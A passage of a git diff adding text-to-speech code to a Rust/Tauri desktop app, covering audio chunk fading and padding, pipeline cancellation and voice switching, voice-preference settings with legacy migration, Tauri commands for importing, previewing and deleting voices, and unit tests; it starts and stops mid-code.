mean_square.sqrt() as f32; + let level = if rms <= 0.000_5 { + 0.0 + } else { + // Map roughly -60 dB..-12 dB into the same normalized range + // used by remote Opus speaker levels. + ((20.0 * rms.log10() + 60.0) / 48.0).clamp(0.12, 1.0) + }; + TtsSpeakerActivityFrame { + pubkey: pubkey.to_string(), + level, + } + }) + .collect() +} diff --git a/desktop/src-tauri/src/huddle/tts_audio.rs b/desktop/src-tauri/src/huddle/tts_audio.rs new file mode 100644 index 0000000000..58300b7497 --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_audio.rs @@ -0,0 +1,235 @@ +use super::{FADE_OUT_SAMPLES, SENTENCE_LEAD_IN_SAMPLES}; + +pub(super) struct PreparedModelAudio { + pub(super) buffer: Vec, + pub(super) sample_count: usize, + pub(super) chunk_index: usize, +} + +/// Holds one synthesized model unit so playback-boundary decoration is based +/// on the first and last unit that actually produced audio. +pub(super) struct PlaybackChunkAudio { + pending: Option<(Vec, usize)>, + appended: bool, +} + +impl PlaybackChunkAudio { + pub(super) fn new() -> Self { + Self { + pending: None, + appended: false, + } + } + + pub(super) fn push( + &mut self, + samples: Vec, + chunk_index: usize, + first_append: &mut bool, + silence_buf_len: usize, + playback_idle: bool, + ) -> Option { + if samples.is_empty() { + return None; + } + let previous = self.pending.replace((samples, chunk_index))?; + let prepared = prepare_model_audio( + previous, + first_append, + silence_buf_len, + !self.appended || playback_idle, + false, + ); + self.appended = true; + Some(prepared) + } + + pub(super) fn finish( + &mut self, + first_append: &mut bool, + silence_buf_len: usize, + playback_idle: bool, + ) -> Option { + let pending = self.pending.take()?; + Some(prepare_model_audio( + pending, + first_append, + silence_buf_len, + !self.appended || playback_idle, + true, + )) + } +} + +fn prepare_model_audio( + (samples, chunk_index): (Vec, usize), + first_append: &mut bool, + silence_buf_len: usize, + starts_playback_chunk: bool, + ends_playback_chunk: bool, +) -> PreparedModelAudio { + let sample_count = samples.len(); + let mut audio = clamp_to_full_scale(samples); + if ends_playback_chunk { + apply_fade_out(&mut audio); + } + PreparedModelAudio { + buffer: build_sentence_append_buffer( + first_append, + audio, + silence_buf_len, + starts_playback_chunk, + ends_playback_chunk, + ), + sample_count, + chunk_index, + } +} + +/// Hard-clamp samples to ±1.0 full scale. +pub(super) fn clamp_to_full_scale(samples: Vec) -> Vec { + samples.into_iter().map(|s| s.clamp(-1.0, 1.0)).collect() +} + +/// Apply a short linear fade-out to avoid a discontinuity at playback boundaries. +pub(super) fn apply_fade_out(samples: &mut [f32]) { + let len = samples.len(); + let fade = FADE_OUT_SAMPLES.min(len / 2); + for i in 0..fade { + samples[len - 1 - i] *= i as f32 / fade as f32; + } +} + +pub(super) fn build_sentence_append_buffer( + first_append: &mut bool, + audio: Vec, + silence_buf_len: usize, + starts_playback_chunk: bool, + ends_playback_chunk: bool, +) -> Vec { + if *first_append { + *first_append = false; + } + + let lead_in_len = if starts_playback_chunk { + SENTENCE_LEAD_IN_SAMPLES + } else { + 0 + }; + let trailing_silence_len = if ends_playback_chunk { + silence_buf_len.saturating_sub(SENTENCE_LEAD_IN_SAMPLES) + } else { + 0 + }; + let mut buffer = Vec::with_capacity(lead_in_len + audio.len() + trailing_silence_len); + buffer.extend(std::iter::repeat_n(0.0_f32, lead_in_len)); + buffer.extend(audio); + buffer.extend(std::iter::repeat_n(0.0_f32, trailing_silence_len)); + buffer +} + +pub(super) fn group_sentences_into_chunks(sentences: &[String], max_chars: usize) -> Vec { + let mut chunks: Vec = Vec::new(); + for (index, sentence) in sentences.iter().enumerate() { + let sentence = sentence.trim(); + if sentence.is_empty() { + continue; + } + if index == 0 || chunks.is_empty() { + chunks.push(sentence.to_string()); + continue; + } + let can_merge = chunks.len() > 1 + && chunks + .last() + .is_some_and(|chunk| chunk.len() + 1 + sentence.len() <= max_chars); + if can_merge { + if let Some(last) = chunks.last_mut() { + last.push(' '); + last.push_str(sentence); + } + } else { + chunks.push(sentence.to_string()); + } + } + chunks +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn multi_unit_audio_decorates_only_outer_playback_boundaries() { + let mut chunk = PlaybackChunkAudio::new(); + let mut first_append = true; + let silence = SENTENCE_LEAD_IN_SAMPLES + 100; + + assert!(chunk + .push(vec![0.4; 16], 0, &mut first_append, silence, false) + .is_none()); + let first = chunk + .push(vec![0.5; 16], 1, &mut first_append, silence, false) + .expect("first ready model unit"); + assert_eq!(first.buffer.len(), SENTENCE_LEAD_IN_SAMPLES + 16); + assert!(first.buffer[..SENTENCE_LEAD_IN_SAMPLES] + .iter() + .all(|sample| *sample == 0.0)); + assert_eq!(first.buffer[SENTENCE_LEAD_IN_SAMPLES], 0.4); + + let last = chunk + .finish(&mut first_append, silence, false) + .expect("last ready model unit"); + assert_eq!(last.buffer.len(), 16 + 100); + assert_eq!(last.buffer.last(), Some(&0.0)); + } + + #[test] + fn empty_edge_units_do_not_steal_lead_in_or_trailing_boundary() { + let mut chunk = PlaybackChunkAudio::new(); + let mut first_append = true; + let silence = SENTENCE_LEAD_IN_SAMPLES + 100; + + assert!(chunk + .push(Vec::new(), 0, &mut first_append, silence, false) + .is_none()); + assert!(chunk + .push(vec![0.5; 16], 1, &mut first_append, silence, false) + .is_none()); + assert!(chunk + .push(Vec::new(), 2, &mut first_append, silence, false) + .is_none()); + + let only = chunk + .finish(&mut first_append, silence, false) + .expect("only audible model unit"); + assert_eq!(only.buffer.len(), SENTENCE_LEAD_IN_SAMPLES + 16 + 100); + assert!(only.buffer[..SENTENCE_LEAD_IN_SAMPLES] + .iter() + .all(|sample| *sample == 0.0)); + assert_eq!(only.buffer.last(), Some(&0.0)); + } + + #[test] + fn playback_underrun_rearms_the_onset_cushion() { + let mut chunk = PlaybackChunkAudio::new(); + let mut first_append = true; + let silence = SENTENCE_LEAD_IN_SAMPLES + 100; + + assert!(chunk + .push(vec![0.4; 16], 0, &mut first_append, silence, false) + .is_none()); + let first = chunk + .push(vec![0.5; 16], 1, &mut first_append, silence, false) + .expect("first model unit"); + assert_eq!(first.buffer.len(), SENTENCE_LEAD_IN_SAMPLES + 16); + + let after_underrun = chunk + .push(vec![0.6; 16], 2, &mut first_append, silence, true) + .expect("model unit after underrun"); + assert_eq!(after_underrun.buffer.len(), SENTENCE_LEAD_IN_SAMPLES + 16); + assert!(after_underrun.buffer[..SENTENCE_LEAD_IN_SAMPLES] + .iter() + .all(|sample| *sample == 0.0)); + } +} diff --git a/desktop/src-tauri/src/huddle/tts_pipeline_controls.rs b/desktop/src-tauri/src/huddle/tts_pipeline_controls.rs new file mode 100644 index 0000000000..0ee472f0fd --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_pipeline_controls.rs @@ -0,0 +1,100 @@ +use super::*; + +impl TtsPipeline { + /// Queue `text` for TTS synthesis and playback. + /// + /// Non-blocking. Returns `Err` if the queue is full (bounded at + /// `TEXT_QUEUE_DEPTH`) — caller may log and discard. + pub fn speak(&self, text: String) -> Result<(), String> { + self.text_tx + .try_send(QueuedText { + generation: self.voice_generation.load(Ordering::Acquire), + route_id: 0, + speaker_pubkey: None, + speaker_generation: 0, + voice_reference: None, + text, + }) + .map_err(|e| { + eprintln!("buzz-desktop: TTS queue saturated, dropping message: {e}"); + format!("TTS queue full, dropping: {e}") + }) + } + + /// Clone the bounded queue sender so callers can apply backpressure without + /// holding the huddle mutex. Disabling TTS drops the receiver and unblocks + /// any waiting sender while the shared cancellation flag stops playback. + pub(crate) fn text_sender(&self) -> TtsTextSender { + TtsTextSender { + text_tx: self.text_tx.clone(), + generation: self.voice_generation.load(Ordering::Acquire), + speaker_generations: Arc::clone(&self.speaker_generations), + } + } + + /// Invalidate speech queued for one agent and cancel the player only when + /// that same agent currently owns it. + pub(crate) fn cancel_speaker(&self, speaker_pubkey: &str) { + request_speaker_cancel( + &self.speaker_generations, + &self.active_speaker, + &self.speaker_cancel, + speaker_pubkey, + ); + } + + /// Cancel exactly the speaker utterance currently owning playback. + /// + /// The speaker generation is advanced while ownership is locked, so a + /// stale Stop click cannot cancel a later utterance that starts after the + /// observed one drains. + pub(crate) fn cancel_active_speaker(&self, expected_speaker_pubkey: &str) -> bool { + request_active_speaker_cancel( + &self.speaker_generations, + &self.active_speaker, + &self.speaker_cancel, + &self.playback_probe, + expected_speaker_pubkey, + ) + } + + /// Select a bundled Pocket voice for subsequent speech. + /// + /// Current playback and queued text are cancelled immediately so content + /// cannot continue in the old voice. The worker keeps its warmed inference + /// engine and reloads only the reference style before the next utterance. + pub fn select_voice(&self, voice: &str) -> Option> { + let acknowledged = begin_voice_change( + &self.voice, + &self.voice_generation, + &self.voice_cancel, + &self.voice_change_ack, + voice, + ); + if acknowledged.is_some() { + eprintln!("buzz-desktop: tts stage=cancellation reason=voice_switch route_id=0"); + } + acknowledged + } + + /// Reconcile the voice of a pipeline that has not been published yet. + /// + /// No caller can enqueue text before publication, so raising the shared + /// cancellation flag here would create a race that could discard the first + /// message queued immediately after installation. + pub(crate) fn select_voice_before_publish(&self, voice: &str) { + *self.voice.lock().unwrap_or_else(|error| error.into_inner()) = voice.to_string(); + } + + /// Signal the worker thread to stop. + pub fn shutdown(&self) { + eprintln!("buzz-desktop: tts stage=cancellation reason=shutdown route_id=0"); + self.shutdown.store(true, Ordering::Release); + } + + /// Returns `true` if the worker thread has exited (init failure, crash, or normal exit). + /// Used by hot-start to detect dead pipelines and clear them for retry. + pub fn is_finished(&self) -> bool { + self.thread.as_ref().is_none_or(|h| h.is_finished()) + } +} diff --git a/desktop/src-tauri/src/huddle/tts_settings.rs b/desktop/src-tauri/src/huddle/tts_settings.rs new file mode 100644 index 0000000000..64fd6d8a94 --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_settings.rs @@ -0,0 +1,972 @@ +//! Installation-global text-to-speech preferences and the local voice registry. +//! +//! Voice keys are backend-qualified (`pocket:mary`, `siri:aaron`) and +//! preferences are ordered. A client resolves the first compatible entry for +//! its one active playback backend. The same [`VoicePreferences`] value can be +//! embedded in installation-global settings or future agent identity without a +//! schema change. Availability is intentionally client-local. + +use std::{ + path::{Path, PathBuf}, + sync::{Arc, Mutex}, + time::Duration, +}; + +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Manager, State}; + +use crate::{app_state::AppState, managed_agents::storage::atomic_write_json_restricted}; + +use super::{ + models, + pocket::DEFAULT_VOICE, + tts_voice_registry::{source_url, MARY_VOICE_KEY, POCKET_VOICES}, + HuddlePhase, HuddleState, +}; + +const SETTINGS_FILE: &str = "tts-settings.json"; +const CURRENT_VERSION: u32 = 1; +const VOICE_CHANGE_ACK_TIMEOUT: Duration = Duration::from_secs(5); +pub const POCKET_BACKEND_ID: &str = "pocket"; + +type VoiceChangeWait = ( + Arc, + tokio::sync::oneshot::Receiver<()>, +); + +const VOICE_AVAILABILITY_BUNDLED: &str = "bundled"; +const VOICE_AVAILABILITY_INSTALLED: &str = "installed"; + +/// Installation-global huddle audio and speech preferences. +#[derive(Default)] +pub struct HuddleAudioSettingsState { + pub tts: Mutex, + pub tts_load_error: Mutex>, + pub tts_transition: tokio::sync::Mutex<()>, + /// Selected huddle output device. `None` uses the system default. + pub output_device: Mutex>, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct VoiceRegistryEntry { + /// Stable identity, never derived from or merged by the display name. + /// + /// Built-ins use `backend:slug`. Future imports use + /// `pocket:imported:` so two clips with the same + /// editable label remain distinct. + pub key: String, + pub display_name: String, + pub backend: String, + pub backend_name: String, + /// Client-local state: bundled, installed, downloadable, or unavailable. + pub availability: String, + pub fallback_key: Option, + pub reference_file: Option, + pub provenance: VoiceProvenance, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct VoiceProvenance { + pub source: String, + pub content_hash: Option, + pub license: Option, + pub source_url: Option, +} + +/// Ordered, backend-qualified preferences shared by global and agent settings. +/// +/// Unknown but well-formed keys remain persisted because a different client +/// may have that backend installed. Resolution is always local. +pub type VoicePreferences = Vec; + +/// Bundled Pocket voices available without local imports. +pub fn bundled_voice_registry() -> Vec { + POCKET_VOICES + .iter() + .map(|voice| VoiceRegistryEntry { + key: voice.key.to_string(), + display_name: voice.display_name.to_string(), + backend: POCKET_BACKEND_ID.to_string(), + backend_name: "Pocket TTS".to_string(), + availability: VOICE_AVAILABILITY_BUNDLED.to_string(), + fallback_key: (voice.key != MARY_VOICE_KEY).then(|| MARY_VOICE_KEY.to_string()), + reference_file: Some(voice.reference_file.to_string()), + provenance: VoiceProvenance { + source: "bundled".to_string(), + content_hash: Some(voice.sha256.to_string()), + license: Some("CC-BY-4.0".to_string()), + source_url: Some(source_url(voice)), + }, + }) + .collect() +} + +/// Cross-backend registry of bundled and locally installed voices. +pub fn voice_registry(app: &AppHandle) -> Vec { + let mut registry = bundled_voice_registry(); + match super::tts_voice_import::load_registry(app) { + Ok(imported) => registry.extend(imported.into_iter().map(|voice| VoiceRegistryEntry { + key: voice.key, + display_name: voice.display_name, + backend: POCKET_BACKEND_ID.to_string(), + backend_name: "Pocket TTS".to_string(), + availability: VOICE_AVAILABILITY_INSTALLED.to_string(), + fallback_key: Some(MARY_VOICE_KEY.to_string()), + reference_file: Some(voice.file_name), + provenance: VoiceProvenance { + source: "local import".to_string(), + content_hash: Some(voice.content_hash), + license: None, + source_url: None, + }, + })), + Err(error) => { + eprintln!( + "buzz-desktop: {error}; imported Pocket voices are unavailable for this session" + ); + } + } + registry +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct TtsSettings { + pub version: u32, + pub agent_text_to_speech: bool, + pub voice_preferences: VoicePreferences, +} + +impl Default for TtsSettings { + fn default() -> Self { + Self { + version: CURRENT_VERSION, + agent_text_to_speech: true, + voice_preferences: vec![MARY_VOICE_KEY.to_string()], + } + } +} + +pub fn voice_by_key(app: &AppHandle, key: &str) -> Option { + voice_registry(app) + .into_iter() + .find(|voice| voice.key == key) +} + +fn is_qualified_voice_key(key: &str) -> bool { + key.split_once(':') + .is_some_and(|(backend, voice)| !backend.is_empty() && !voice.is_empty()) +} + +fn is_locally_available(availability: &str) -> bool { + matches!( + availability, + VOICE_AVAILABILITY_BUNDLED | VOICE_AVAILABILITY_INSTALLED + ) +} + +#[cfg(test)] +pub fn resolve_voice_for_backend( + preferences: &[String], + backend: &str, +) -> Result { + resolve_voice_for_backend_in_registry(preferences, backend, &bundled_voice_registry()) +} + +pub(crate) fn resolve_voice_for_backend_in_registry( + preferences: &[String], + backend: &str, + registry: &[VoiceRegistryEntry], +) -> Result { + preferences + .iter() + .filter_map(|key| registry.iter().find(|voice| voice.key == *key)) + .find(|voice| voice.backend == backend && is_locally_available(voice.availability.as_str())) + .or_else(|| { + registry.iter().find(|voice| { + voice.backend == backend + && voice.fallback_key.is_none() + && is_locally_available(voice.availability.as_str()) + }) + }) + .cloned() + .ok_or_else(|| format!("No locally available fallback voice for backend {backend}")) +} + +pub fn bundled_pocket_voice_reference(preferences: &[String]) -> String { + resolve_voice_for_backend_in_registry(preferences, POCKET_BACKEND_ID, &bundled_voice_registry()) + .ok() + .and_then(|voice| voice.reference_file) + .and_then(|file| file.strip_suffix(".wav").map(str::to_string)) + .unwrap_or_else(|| DEFAULT_VOICE.to_string()) +} + +pub fn pocket_voice_reference(app: &AppHandle, preferences: &[String]) -> Result { + let registry = voice_registry(app); + let voice = resolve_voice_for_backend_in_registry(preferences, POCKET_BACKEND_ID, ®istry)?; + if voice.key.starts_with("pocket:imported:") { + let imported = super::tts_voice_import::load_registry(app)? + .into_iter() + .find(|candidate| candidate.key == voice.key) + .ok_or_else(|| format!("Imported voice {} is unavailable", voice.display_name))?; + return super::tts_voice_import::resolve_file(app, &imported) + .map(|path| path.to_string_lossy().into_owned()); + } + Ok(voice + .reference_file + .and_then(|file| file.strip_suffix(".wav").map(str::to_string)) + .unwrap_or_else(|| DEFAULT_VOICE.to_string())) +} + +pub(crate) fn settings_path(app: &AppHandle) -> Result { + app.path() + .app_data_dir() + .map(|dir| dir.join(SETTINGS_FILE)) + .map_err(|error| format!("could not locate Buzz settings storage: {error}")) +} + +pub(crate) fn load_from_path(path: &Path) -> Result { + if !path.exists() { + return Ok(TtsSettings::default()); + } + let bytes = std::fs::read(path) + .map_err(|error| format!("could not read text-to-speech settings: {error}"))?; + let value: serde_json::Value = serde_json::from_slice(&bytes) + .map_err(|error| format!("text-to-speech settings are not valid JSON: {error}"))?; + + // Unversioned settings are incompatible with the V1 schema. Use + // deterministic V1 defaults rather than interpreting ambiguous fields. + if value.get("version").is_none() { + return Ok(TtsSettings::default()); + } + + let version = value + .get("version") + .and_then(serde_json::Value::as_u64) + .ok_or("text-to-speech settings version is invalid")?; + if version > u64::from(CURRENT_VERSION) { + return Err(format!( + "text-to-speech settings version {version} is newer than this Buzz build supports" + )); + } + + // Legacy V1 settings may contain one bare Pocket `voiceId`. Preserve the + // toggle and qualify it into the ordered cross-backend preference schema. + if value.get("voicePreferences").is_none() { + let legacy_voice = value + .get("voiceId") + .or_else(|| value.get("voice_id")) + .and_then(serde_json::Value::as_str) + .unwrap_or("mary"); + let voice_key = if is_qualified_voice_key(legacy_voice) { + legacy_voice.to_string() + } else { + format!("{POCKET_BACKEND_ID}:{legacy_voice}") + }; + return Ok(TtsSettings { + version: CURRENT_VERSION, + agent_text_to_speech: value + .get("agentTextToSpeech") + .and_then(serde_json::Value::as_bool) + .unwrap_or(true), + voice_preferences: vec![voice_key], + }); + } + + let mut settings: TtsSettings = serde_json::from_value(value) + .map_err(|error| format!("text-to-speech settings are invalid: {error}"))?; + settings.version = CURRENT_VERSION; + if settings.voice_preferences.is_empty() + || settings + .voice_preferences + .iter() + .any(|key| !is_qualified_voice_key(key)) + { + settings.voice_preferences = TtsSettings::default().voice_preferences; + } + Ok(settings) +} + +pub(crate) fn save_to_path(path: &Path, settings: &TtsSettings) -> Result<(), String> { + if settings.voice_preferences.is_empty() { + return Err("At least one voice preference is required".to_string()); + } + if let Some(key) = settings + .voice_preferences + .iter() + .find(|key| !is_qualified_voice_key(key)) + { + return Err(format!( + "Voice preference keys must be backend-qualified: {key}" + )); + } + let payload = serde_json::to_vec_pretty(settings) + .map_err(|error| format!("could not encode text-to-speech settings: {error}"))?; + atomic_write_json_restricted(path, &payload) + .map_err(|error| format!("could not save text-to-speech settings: {error}")) +} + +pub fn load_for_app(app: &AppHandle) -> (TtsSettings, Option) { + let result = settings_path(app).and_then(|path| load_from_path(&path)); + match result { + Ok(settings) => (settings, None), + Err(error) => { + eprintln!("buzz-desktop: {error}; preserving the file and using Mary for this session"); + (TtsSettings::default(), Some(error)) + } + } +} + +#[tauri::command] +pub fn get_tts_settings(state: State<'_, AppState>) -> Result { + if let Some(error) = state + .huddle_audio + .tts_load_error + .lock() + .map_err(|lock_error| format!("text-to-speech settings lock poisoned: {lock_error}"))? + .clone() + { + return Err(format!( + "Voice settings could not be loaded and were left unchanged: {error}" + )); + } + state + .huddle_audio + .tts + .lock() + .map(|settings| settings.clone()) + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}")) +} + +#[tauri::command] +pub fn list_voice_registry(app: AppHandle) -> Vec { + voice_registry(&app) +} + +fn ensure_settings_writable(state: &AppState) -> Result<(), String> { + if let Some(error) = state + .huddle_audio + .tts_load_error + .lock() + .map_err(|lock_error| format!("text-to-speech settings lock poisoned: {lock_error}"))? + .as_ref() + { + return Err(format!( + "Voice settings were not saved because the existing file could not be loaded: {error}" + )); + } + Ok(()) +} + +fn cancel_huddle_speech( + huddle: &mut super::HuddleState, +) -> Option> { + huddle.tts_enabled = false; + huddle + .tts_cancel + .store(true, std::sync::atomic::Ordering::Release); + huddle.tts_pipeline.take() +} + +fn disable_tts_runtime(state: &AppState) -> Result<(), String> { + let old_pipeline = { + let mut huddle = state.huddle()?; + cancel_huddle_speech(&mut huddle) + }; + if let Some(ref pipeline) = old_pipeline { + pipeline.shutdown(); + } + drop(old_pipeline); + state.emit_huddle_state_changed(); + Ok(()) +} + +fn commit_effective_off(state: &AppState) -> Result<(), String> { + state + .huddle_audio + .tts + .lock() + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))? + .agent_text_to_speech = false; + Ok(()) +} + +fn enable_tts_runtime(huddle: &mut HuddleState, voice: &str) -> Option { + huddle.tts_enabled = true; + // OFF removes the pipeline. Clear a prior cancellation only when enabling + // a fresh pipeline; an idempotent ON write must not erase a voice + // transition that the existing worker still needs to drain. + prepare_enable_cancel(&huddle.tts_cancel, huddle.tts_pipeline.is_some()); + huddle.tts_pipeline.as_ref().and_then(|pipeline| { + pipeline + .select_voice(voice) + .map(|acknowledged| (Arc::clone(pipeline), acknowledged)) + }) +} + +fn prepare_enable_cancel(cancel: &std::sync::atomic::AtomicBool, has_pipeline: bool) { + if !has_pipeline { + cancel.store(false, std::sync::atomic::Ordering::Release); + } +} + +async fn apply_tts_settings( + settings: TtsSettings, + app: &AppHandle, + state: &AppState, +) -> Result, String> { + if settings.version != CURRENT_VERSION { + return Err(format!( + "Unsupported text-to-speech settings version: {}", + settings.version + )); + } + + // OFF is safety-sensitive: stop current and queued speech before any disk + // I/O, and never resume it merely because persistence fails. + if !settings.agent_text_to_speech { + disable_tts_runtime(state)?; + commit_effective_off(state)?; + } + + ensure_settings_writable(state)?; + save_to_path(&settings_path(app)?, &settings)?; + + *state + .huddle_audio + .tts + .lock() + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))? = + settings.clone(); + + let mut voice_change_wait = None; + if settings.agent_text_to_speech { + let (active, voice_change_ack) = { + let mut huddle = state.huddle()?; + let voice_reference = pocket_voice_reference(app, &settings.voice_preferences)?; + let voice_change_ack = enable_tts_runtime(&mut huddle, &voice_reference); + ( + matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active), + voice_change_ack, + ) + }; + voice_change_wait = voice_change_ack; + if active { + if let Err(error) = super::pipeline::maybe_start_tts_pipeline(state).await { + eprintln!("buzz-desktop: could not hot-start text to speech: {error}"); + } + } + state.emit_huddle_state_changed(); + } + Ok(voice_change_wait) +} + +fn current_settings(state: &AppState) -> Result { + state + .huddle_audio + .tts + .lock() + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}")) + .map(|settings| settings.clone()) +} + +async fn finish_voice_change(voice_change: Option) -> Result<(), String> { + let Some((pipeline, acknowledged)) = voice_change else { + return Ok(()); + }; + wait_for_voice_change_ack(acknowledged, VOICE_CHANGE_ACK_TIMEOUT, || { + pipeline.is_finished() + }) + .await +} + +async fn finish_durable_voice_change(voice_change: Option) { + if let Err(error) = finish_voice_change(voice_change).await { + eprintln!( + "buzz-desktop: tts stage=voice_switch status=delayed reason=ack_timeout error={error}" + ); + } +} + +async fn wait_for_voice_change_ack( + mut acknowledged: tokio::sync::oneshot::Receiver<()>, + timeout: Duration, + mut worker_is_finished: impl FnMut() -> bool, +) -> Result<(), String> { + let deadline = tokio::time::sleep(timeout); + tokio::pin!(deadline); + loop { + tokio::select! { + _ = &mut acknowledged => return Ok(()), + _ = &mut deadline => { + return Err( + "Pocket TTS is still finishing the previous voice. Turn Agent text to speech off and try again." + .to_string(), + ); + } + _ = tokio::time::sleep(Duration::from_millis(25)) => { + if worker_is_finished() { + return Ok(()); + } + } + } + } +} + +/// Compatibility command for the huddle speaker button. It updates the same +/// installation-global preference as Settings; there is no per-huddle override. +#[tauri::command] +pub async fn set_tts_enabled( + enabled: bool, + app: AppHandle, + state: State<'_, AppState>, +) -> Result { + let transition = state.huddle_audio.tts_transition.lock().await; + let mut settings = state + .huddle_audio + .tts + .lock() + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))? + .clone(); + settings.agent_text_to_speech = enabled; + let voice_change = apply_tts_settings(settings, &app, &state).await?; + drop(transition); + finish_voice_change(voice_change).await?; + current_settings(&state) +} + +fn settings_with_pocket_voice( + settings: TtsSettings, + voice_key: &str, + app: &AppHandle, +) -> Result { + settings_with_pocket_voice_from_registry(settings, voice_key, &voice_registry(app)) +} + +fn settings_with_pocket_voice_from_registry( + mut settings: TtsSettings, + voice_key: &str, + registry: &[VoiceRegistryEntry], +) -> Result { + let voice = registry + .iter() + .find(|voice| voice.key == voice_key) + .ok_or_else(|| format!("Unknown voice: {voice_key}"))?; + if voice.backend != POCKET_BACKEND_ID || !is_locally_available(&voice.availability) { + return Err("The selected Pocket voice is not available on this device".to_string()); + } + let first_pocket_index = settings + .voice_preferences + .iter() + .position(|key| key.starts_with("pocket:")); + settings + .voice_preferences + .retain(|key| !key.starts_with("pocket:")); + let insert_at = first_pocket_index + .unwrap_or(settings.voice_preferences.len()) + .min(settings.voice_preferences.len()); + settings + .voice_preferences + .insert(insert_at, voice_key.to_string()); + Ok(settings) +} + +#[tauri::command] +pub async fn set_pocket_voice( + voice_key: String, + app: AppHandle, + state: State<'_, AppState>, +) -> Result { + let transition = state.huddle_audio.tts_transition.lock().await; + let settings = state + .huddle_audio + .tts + .lock() + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))? + .clone(); + let settings = settings_with_pocket_voice(settings, &voice_key, &app)?; + let voice_change = apply_tts_settings(settings, &app, &state).await?; + drop(transition); + finish_durable_voice_change(voice_change).await; + current_settings(&state) +} + +#[tauri::command] +pub async fn preview_pocket_voice( + voice_key: String, + app: AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { + let voice = + voice_by_key(&app, &voice_key).ok_or_else(|| format!("Unknown voice: {voice_key}"))?; + if voice.backend != POCKET_BACKEND_ID { + return Err("Only Pocket voices can be previewed in this build".to_string()); + } + if !models::is_tts_ready() { + return Err("Voice files are still downloading. Try preview again shortly.".to_string()); + } + let model_dir = models::tts_model_dir().ok_or("Pocket voice files are unavailable")?; + let output_device = state + .huddle_audio + .output_device + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone(); + let voice_name = pocket_voice_reference(&app, std::slice::from_ref(&voice_key))?; + tokio::task::spawn_blocking(move || { + let active = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false)); + let cancel = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false)); + let pipeline = super::tts::TtsPipeline::new_with_voice( + model_dir, + active.clone(), + cancel, + &voice_name, + output_device, + None, + )?; + pipeline.speak("Hello! This is how I’ll read agent responses.".to_string())?; + let started = std::time::Instant::now(); + let mut heard_audio = false; + while started.elapsed() < std::time::Duration::from_secs(30) { + let is_active = active.load(std::sync::atomic::Ordering::Acquire); + heard_audio |= is_active; + if heard_audio && !is_active { + return Ok(()); + } + std::thread::sleep(std::time::Duration::from_millis(25)); + } + Err("Voice preview timed out. Check your audio output and try again.".to_string()) + }) + .await + .map_err(|error| format!("Voice preview task failed: {error}"))? +} + +#[derive(Debug, Clone, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct TtsVoiceMutation { + pub settings: TtsSettings, + pub registry: Vec, +} + +#[tauri::command] +pub async fn import_pocket_voice( + app: AppHandle, + state: State<'_, AppState>, +) -> Result, String> { + let Some(imported) = super::tts_voice_import::pick_and_import(&app).await? else { + return Ok(None); + }; + let transition = state.huddle_audio.tts_transition.lock().await; + let settings = current_settings(&state)?; + let settings = settings_with_pocket_voice(settings, &imported.key, &app)?; + let voice_change = apply_tts_settings(settings, &app, &state).await?; + drop(transition); + finish_durable_voice_change(voice_change).await; + Ok(Some(TtsVoiceMutation { + settings: current_settings(&state)?, + registry: voice_registry(&app), + })) +} + +#[tauri::command] +pub async fn delete_pocket_voice( + voice_key: String, + app: AppHandle, + state: State<'_, AppState>, +) -> Result { + if !voice_key.starts_with("pocket:imported:") { + return Err("Bundled voices cannot be deleted".to_string()); + } + if voice_by_key(&app, &voice_key).is_none() { + return Err(format!("Unknown imported voice: {voice_key}")); + } + + let transition = state.huddle_audio.tts_transition.lock().await; + let current = current_settings(&state)?; + let selected = resolve_voice_for_backend_in_registry( + ¤t.voice_preferences, + POCKET_BACKEND_ID, + &voice_registry(&app), + ) + .is_ok_and(|voice| voice.key == voice_key); + let voice_change = if selected { + let fallback = settings_with_pocket_voice(current, MARY_VOICE_KEY, &app)?; + apply_tts_settings(fallback, &app, &state).await? + } else { + None + }; + drop(transition); + finish_durable_voice_change(voice_change).await; + super::tts_voice_import::delete(&app, &voice_key)?; + Ok(TtsVoiceMutation { + settings: current_settings(&state)?, + registry: voice_registry(&app), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + const EVE_VOICE_KEY: &str = "pocket:eve"; + + #[tokio::test] + async fn stalled_voice_change_returns_an_actionable_error() { + let (_keep_pending, acknowledged) = tokio::sync::oneshot::channel(); + + let error = wait_for_voice_change_ack(acknowledged, Duration::from_millis(1), || false) + .await + .expect_err("stalled worker should time out"); + + assert!(error.contains("Turn Agent text to speech off")); + } + + #[test] + fn idempotent_enable_preserves_an_existing_pipeline_cancel() { + let cancel = std::sync::atomic::AtomicBool::new(true); + prepare_enable_cancel(&cancel, true); + assert!(cancel.load(std::sync::atomic::Ordering::Acquire)); + prepare_enable_cancel(&cancel, false); + assert!(!cancel.load(std::sync::atomic::Ordering::Acquire)); + } + + #[test] + fn defaults_are_backwards_compatible_and_use_mary() { + assert_eq!( + TtsSettings::default(), + TtsSettings { + version: 1, + agent_text_to_speech: true, + voice_preferences: vec!["pocket:mary".to_string()], + } + ); + } + + #[test] + fn registry_has_all_official_english_vctk_presets() { + assert_eq!( + bundled_voice_registry() + .iter() + .map(|voice| { + ( + voice.key.as_str(), + voice.display_name.as_str(), + voice.reference_file.as_deref(), + ) + }) + .collect::>(), + vec![ + ("pocket:anna", "Anna", Some("anna.wav")), + ("pocket:vera", "Vera", Some("vera.wav")), + ("pocket:fantine", "Fantine", Some("fantine.wav")), + ("pocket:charles", 